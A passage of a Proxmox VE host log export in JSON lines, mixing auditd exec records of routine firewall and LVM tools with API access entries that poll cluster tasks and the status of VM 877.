a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966127745,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1130"} {"@timestamp":1781965295610,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.610:65006): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62446 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525213,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.213:61385): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58927 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965614645,"@rawstring":"node=pve type=EXECVE msg=audit(1781965614.645:66351): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966127745,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:26 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 935"} {"@timestamp":1781965295602,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.602:65005): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62445 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525208,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.208:61384): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc039e40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58926 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965613683,"@rawstring":"node=pve type=EXECVE msg=audit(1781965613.683:66350): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966127745,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781965295594,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.594:65004): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62444 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525200,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.200:61383): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12f7e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58925 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965613676,"@rawstring":"node=pve type=EXECVE msg=audit(1781965613.676:66347): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966127745,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:26 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965295588,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.588:65003): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62443 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964525194,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.194:61382): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13be90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58924 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965608668,"@rawstring":"node=pve type=EXECVE msg=audit(1781965608.668:66344): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966126748,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1135"} {"@timestamp":1781965295584,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.584:65002): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=594d705a6740 items=0 ppid=1156 pid=62442 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964524698,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964524.698:61381): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58923 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965608662,"@rawstring":"node=pve type=EXECVE msg=audit(1781965608.662:66341): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966125324,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:24 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 871"} {"@timestamp":1781965295580,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.580:65001): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc146690 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62442 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964524692,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964524.692:61378): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58922 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605335,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.335:66337): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966125324,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:24 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781965295572,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.572:65000): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ff760 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62441 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964524114,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964524.114:61375): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bb340 a1=64f8d73f0c20 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58919 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605314,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.314:66336): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966125324,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:24 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1130"} {"@timestamp":1781965295564,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.564:64999): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f4730 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62440 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964524088,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964524.088:61374): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73edd40 a1=64f8d73cac10 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58918 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605312,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.312:66335): argc=1 a0=\"date\""} {"@timestamp":1781966123723,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:22 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 905"} {"@timestamp":1781965295558,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.558:64998): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc149ce0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62439 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964519762,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964519.762:61373): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7254540 a1=637ee7254420 a2=637ee7240ef0 a3=8 items=2 ppid=58914 pid=58916 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605301,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.301:66333): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966123723,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781965295549,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.549:64997): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc135d40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62438 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964519761,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964519.761:61372): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253270 a1=637ee7254b40 a2=637ee7240ef0 a3=8 items=2 ppid=58914 pid=58915 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605272,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.272:66332): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966123723,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:22 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965295536,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.536:64996): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c9720 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62437 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964519760,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964519.760:61371): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253b60 a1=637ee7253970 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=58913 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605263,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.263:66331): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966121826,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:21 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781965295518,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.518:64995): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62436 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964519681,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964519.681:61370): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58912 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605254,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.254:66330): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966121826,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:21 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781965295506,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.506:64994): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62435 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964519675,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964519.675:61367): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58911 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605246,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.246:66329): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966121826,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:21 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1123"} {"@timestamp":1781965295503,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.503:64993): arch=c000003e syscall=59 success=yes exit=0 a0=5ba7b3fdded0 a1=5ba7b3fdac50 a2=5ba7b3fbc680 a3=5 items=2 ppid=62428 pid=62434 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964515183,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.183:61364): arch=c000003e syscall=59 success=yes exit=0 a0=587d2c498ed0 a1=587d2c495c50 a2=587d2c477680 a3=5 items=2 ppid=58904 pid=58910 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605240,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.240:66327): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966121826,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:20 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 894"} {"@timestamp":1781965295498,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.498:64992): arch=c000003e syscall=59 success=yes exit=0 a0=5ba7a71ffac8 a1=7ffecbd57a40 a2=5ba7b3fbc680 a3=5ba7a71e324e items=2 ppid=62428 pid=62430 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964515180,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.180:61363): arch=c000003e syscall=59 success=yes exit=0 a0=587cfef68ac8 a1=7ffee1b227f0 a2=587d2c477680 a3=587cfef4c24e items=2 ppid=58904 pid=58906 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605232,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.232:66326): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966119777,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:18 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 911"} {"@timestamp":1781965295498,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.498:64991): arch=c000003e syscall=59 success=yes exit=0 a0=7ffecbd57a00 a1=5ba7b3fd9b40 a2=5ba7b3fbc680 a3=5 items=2 ppid=62428 pid=62429 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964515178,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.178:61362): arch=c000003e syscall=59 success=yes exit=0 a0=7ffee1b227b0 a1=587d2c47e310 a2=587d2c477680 a3=5 items=2 ppid=58904 pid=58905 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605222,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.222:66325): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966119777,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 516"} {"@timestamp":1781965295493,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.493:64989): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62428 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964515175,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.175:61360): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58904 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605215,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.215:66324): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966119777,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:18 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965295485,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.485:64988): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62427 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964515169,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.169:61359): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58903 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605206,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.206:66323): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966118778,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781965295477,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.477:64987): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62426 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964515162,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.162:61358): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58902 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605199,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.199:66322): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966118778,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:18 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1123"} {"@timestamp":1781965295474,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.474:64986): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13add0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62425 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964515156,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.156:61357): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58901 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605189,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.189:66321): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966118778,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:17 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781965295465,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.465:64985): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b360 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62424 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964515149,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.149:61356): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58900 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605182,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.182:66320): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966117768,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:16 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 913"} {"@timestamp":1781964515146,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.146:61355): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5c9e7306b740 items=0 ppid=1156 pid=58899 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965295459,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965295.459:64984): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b0a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62423 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605178,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.178:66319): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966115780,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:15 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} 